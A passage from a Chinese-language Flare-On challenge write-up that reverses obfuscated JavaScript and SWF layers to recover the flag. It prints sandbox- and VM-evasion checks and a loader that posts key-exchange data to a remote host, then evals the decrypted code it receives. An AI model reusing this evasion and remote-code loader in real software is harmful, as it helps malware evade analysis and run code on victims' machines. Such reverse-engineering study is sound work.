                blah = false;
            }
        }
    }
    blah = false; // patch

    if (blah) {
        window.keyboardPlugin = true;
    }

    if (!window.notIE && !window.keyboardPlugin) {
        window.base64_table = window.table1;
    }
    else {
        window.base64_table = window.table2;
    }
}

function l() {
    j(); 
    var a = "<LONG BASE64>",b,g,f,e,c,d=0,h='',x=window.base64_table;

    do
        b = x.indexOf(a.charAt(d++)),
            g = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
            e = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
            c = d < a.length ? x.indexOf(a.charAt(d++)) : 64,
            f = b << 18 | g << 12 | e << 6 | c,

            b = f >> 16 & 255,
            g = f >> 8 & 255,
            f &= 255,

            h = 64 == e ? h + String.fromCharCode(b) : 64 == c ? h + String.fromCharCode(b, g) : h + String.fromCharCode(b, g, f);
    while (d < a.length);

    return h;
}

這一層會透過 navigator.userAgentnavigator.appVersion 來檢查目前環境是不是在 IE 瀏覽器中,並偵測一些 卡巴斯基ActiveX 元件

通過之後,會再解出另一組 javascript 載入執行

Obfuscated Javascript - 3

一樣用痛苦的方式還原,搜尋使用到的一些常數會發現其中包含了一個 BigInteger 的 js library: jsbn

同時也做了一些環境檢查:

  • 檢查是否位於 nodejsPhantomJS
  • 透過 ActiveXObject 檢查是否有讀檔能力,判斷是否在 VM 中
  • 檢查執行效能及螢幕解析度
EnvChecker = function() {
    function echo_rm_msg() {
        var a = false;
        try {
            print(os.system('echo', ["I just rmed your root dir. You're welcome."]));
            a = true;
        } catch(m){a=false;};
        return a;
    };

    function check_process() {
        var a = false;
        try {
            var b = window;
            if (typeof b === 'undefined')
            {
                a = true;
            }
        } catch (z) {};

        if (!a)
        {
            try {
                var c = process;
                if (typeof c === 'object.' && c + '' === '[object process]')
                {
                    a = true;
                }
            } catch(y) {};
        }
        return a;
    };

    function check_phantom() {
        var a = false;
        try {
            var d = window;
            var e = d.outerWidth;
            var f = d.outerHeight;
            if (e === 0 && f === 0) 
            {
                a = true;
            }
        } catch (x) {a = true};

        if (!a)
        {
            try {
                var g = window;
                a = !!g['callPhantom']
            } catch (w) {};
        }
        return a;
    };

    this.Mi = false;// echo_rm_msg();
    this.pA = false;// check_process();
    this.is_phantom = false;//check_phantom();
}

EnvChecker2 = function() {
    function Il1Il1Il1d(a,b) {
        if (a<0.00000001) {
            return b;
        }
        if (a<b) {
            return Il1Il1Il1d(b-Math.floor(b/a)*a,a);
        }
        else if (a==b) {
            return a;
        }
        else
        {
            return Il1Il1Il1d(b,a);
        }
    };

    function checkfile(b) {
        var a = new ActiveXObject('Microsoft.XMLDOM');
        a.async = true;
        a.loadXML('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://' + b + '">');
        if (a.parseError.errorCode == -2147023083)
            return 1;
        return 0;
    };

    function Il1Il1Il1f() {
        try {
            var a = performance.now() / 1000;
        } catch (e) { return 0;}

        var b = performance.now() / 1000 - a;
        for (var i=0;i<10;i++) {
            b=Il1Il1Il1d(b, performance.now()/1000 - a);
        }

        var c = Math.round(1/b);
        if (Math.abs(c-10000000) < 100) {
            return 1;
        }
        else if (Math.abs(c-3579545) < 100) {
            return 1;
        }
        else if (Math.abs(c-14318180) < 100) {
            return 1;
        }

        try {
            var d = screen;
            if ((d.width < (1280)) || (d.height < (1280))) return 1;
        } catch(x) {return 1;}

        return 0;
    };

    return 0; // patch

    if(Il1Il1Il1f() >= 1) return 1;
    if(Il1Il1Il1f() >= 1) return 1;
    if(checkfile('c:\windows\System32\drivers\vmhgfs.sys') == 1) return 1;
    if(checkfile('c:\Windows\System32\drivers\VBoxMouse.sys') == 1) return 2;
    if(checkfile('c:\Windows\System32\drivers\vmusbmouse.sys') == 1) return 1;
    if(checkfile('c:\Windows\System32\drivers\VBoxVideo.sys') == 1) return 2;
    if(checkfile('c:\Windows\System32\drivers\vmmouse.sys') == 1) return 1;
    if(checkfile('c:\Windows\System32\drivers\VBoxSF.sys') == 1) return 2;
    if(checkfile('c:\Windows\System32\drivers\vm3dmp.sys') == 1) return 1;
    if(checkfile('c:\Windows\System32\drivers\VBoxGuest.sys') == 1) return 2;

    return 0;
}

另一部分則是透過 XMLHttpRequest Post 資料到 remote,並使用回傳的 key 解出另一段 javascript 執行

function keyPair()
{
    var BigInt = Il1Illl1I1l.BigInteger;
    this.g = new BigInt(randhex(), 16);
    this.a = new BigInt(randhex(), 16);
    this.p = new BigInt(randhex2(), 16);
    this.A = this.g.modPow(this.a, this.p);
}

js3 = function() {
    var kp = new keyPair();
    var x = new HTTPHeader(), v = new EnvChecker(), u = EnvChecker2();
    try {
        var d = {
            g: kp.g.toString(16),
            A: kp.A.toString(16),
            p: kp.p.toString(16),
        };

        var e = new XMLHttpRequest;
        e.open('POST', 'http://10.14.56.20:18089/i_knew_you_were_trouble', true);
        e.setRequestHeader(x.Yw,x.dc); // Content-type: application/json; charset=utf-8
        e.setRequestHeader(x.KJ,d.length); // Content-length
        e.onreadystatechange = function() {
        if (e.readyState === 4 && e.status === 200 ) 
        {
                var d = JSON.parse(RC4('how_can_you_not_like_flareon', b64decode(unescape(e.responseText))));

                var BigInt = Il1Illl1I1l.BigInteger;
                var B = new BigInt(d.B, 16);
                var key = B.modPow(kp.a, kp.p);
                var j = RC4(key.toString(16), d.fffff);
                log(j)
                if (u < 1) { ;
                  eval(j);
                }
            }
        };

        if (!v.Mi && !v.pA && !v.is_phantom){
            e.send(d);
        }
    } catch(f) {};
}

js3();

Key Exchange

配合 pcap 中的 request 及 response 資料分析,
可以發現是在做 128bit 的 Diffie-Hellman Key Exchange 與 remote server 交換 key

  • Client: A = g ** a % p
  • Server: B = g ** b % p
  • 而 Key = B ** a % p

A, B, g, p 可以從封包取得:

A: 0x16f2c65920ebeae43aabb5c9af923953
B: 0x3101c01f6b522602ae415d5df764587b
g: 0x91a812d65f3fea132099f2825312edbb
p: 0x3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e

能反推出 a 或 b 就可以算出 key

這個地方讓身為 Crypto 麻瓜的我卡了非常久

一開始是猜 b 的值或許很小,不過嘗試跑了 0~0xFFFFFFFF 都沒有結果

後來嘗試 Polling-Hellman,但 p 的分解結果看起來不是太理想,嘗試用 python 實作 Polling-Hellman 跑了好一陣子都沒結果

最後是 Lucas 拿了一台強大的機器用 Sagediscrete_log 硬跑出 a = 46363574342518235210803009231514833

Sage 官方文件 來看內部用的演算法是 Pohlig-Hellman and Baby step giant step

算出 RC4 Key,解出下一層 javascript:

var B = new BigInt('3101c01f6b522602ae415d5df764587b', 16);
var a = new BigInt('8ede69460cac52c9b467d795fecd1', 16);
var p = new BigInt('3a3d4c3d7e2a5d4c5c4d5b7e1c5a3c3e', 16);
var key = B.modPow(a, p);
var code = RC4(key.toString(16), d.fffff);
console.log(code)

終於得到 SWF 要求的 Key: HEAPISMYHOME


SWF

有了 RC4 Key 就可以從 SWF 中 Decrypt 出另一個 SWF,
解密方式是 RC4(PLAIN=明文 16 位後, KEY=key+明文前 16 位):

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import hashlib
md5 = lambda x:hashlib.md5(x).hexdigest()

def KSA(key):
    S = range(256)
    j = 0
    for i in xrange(256):
        j = (j+ S[i] + ord(key[i % len(key)])) % 256
        S[i], S[j] = S[j], S[i]

    return S

def PRGA(S):
    i , j = (0, 0)
    while True:
        i= (i+ 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K = S[(S[i] + S[j]) % 256]
        yield K

def RC4(plain, key):
    S = KSA(key)
    keystream = PRGA(S)
    plain = bytearray(plain)
    cipher = bytearray((p ^ k for p, k in zip(plain, keystream)))
    return str(cipher)

plain = open("./15_SwfLoader.Run_challenge1.bin").read()
c = RC4(plain[16:], md5("HEAPISMYHOME"+plain[:16]))
open("dump.swf", 'wb').write(c)

SecureSWF

打開 SWF 一看發現被 SecureSWF 混淆過:

這裡不得不提一下 JPEXS Flash DecompilerDeobfuscation 功能非常強大,能將屎一般的混淆代碼還原到人類可以閱讀的程度:
Before


After

接著開始分析 bytecode

有個小技巧是可以用 JPEXS 在代碼中插入 console.log ,並在瀏覽器中執行來幫助 debug:

public function log(param1:String) : *
{
  ExternalInterface.call("console.log", param1);
}

分析後發現:

  • 會從 this.root.loaderInfo.parameters 讀取 loader 參數中的 flare, x, y
  • flare 必須等於 On
  • 接下來會將 SWF 內的 50 組 Binary Data 串接起來,並將 x 當做 RC4 Key 做解密
  • y 的格式會是類似 key-value 的形式,解密出來的資料會透過 y 來轉換成一個 SWF 檔案
  • 最後生成的 SWF 會被放到一個儲存 2048 個空白 SWF 的陣列中,應該是為了防止被直接從 memory 中 dump 出 SWF,可以直接 patch 掉 bytecode

由於無法得知載入時的 xy,只能再繼續尋找其他線索

Known Plain-Text Attack

仔細觀察 SWF 內的 Binary Data,會發現其中有一個檔案的名稱相當微妙:

來到 https://imgur.com/vnUziJP 得到一張圖片,但看不出有什麼提示:

繼續觀察 Binary Data 的話會發現 Int3lIns1de_t3stImgurvnUziJP 這組資料的大小與圖片大小相同,猜測是圖片經過 xor 後的結果

將圖片抓下來與 Int3lIns1de_t3stImgurvnUziJP 進行 xor,再與另一組程式中沒有用到的 Binary Data 做 xor,就可以得到 xy:

透過 html 指定 load parameter 並載入 SWF:

<object type="application/x-shockwave-flash" data="dump.swf"> <param name="movie" value="dump.swf" />
<param name=FlashVars value="flare=On&x=1BR0K3NCRYPT0FTW&y= 47:14546,46:1617,35:239,4:47,35..." />
</object>

透過 console.log dump 出 SWF:

Final Stage

最後的 SWF 不曉得為什麼用 JPEXS 無法 decompile,
改用 AS3 Sorcerer ,看起來異常單純:

複製到 vim 簡單的轉換成 python 格式:

out = ""
_local_1 = 1
if not _local_1:
    out+=chr(120)
if not _local_1:
    out+=chr(30)
if not _local_1:
    out+=chr(115)
if not _local_1:
    out+=chr(52)
_local_1 = 0
if _local_1:
    out+=chr(47)
if _local_1:
    out+=chr(37)
if _local_1:
    out+=chr(76)
if _local_1:
    out+=chr(53)
_local_1 = 1
if not _local_1:
    out+=chr(93)
if not _local_1:
    out+=chr(96)
_local_1 = 0
if _local_1:
    out+=chr(34)
if _local_1:
    out+=chr(67)
_local_1 = 1
if not _local_1:
    out+=chr(92)
_local_1 = 0
if _local_1:
    out+=chr(119)
if _local_1:
    out+=chr(97)
if _local_1:
    out+=chr(90)
if _local_1:
    out+=chr(45)
_local_1 = 1
if not _local_1:
    out+=chr(55)
if not _local_1:
    out+=chr(51)
    ...
if not _local_1:
    out+=chr(35)
_local_1 = 1
if not _local_1:
    out+=chr(37)
print out

得到最後一組 Flag: angl3rcan7ev3nprim3@flare-on.com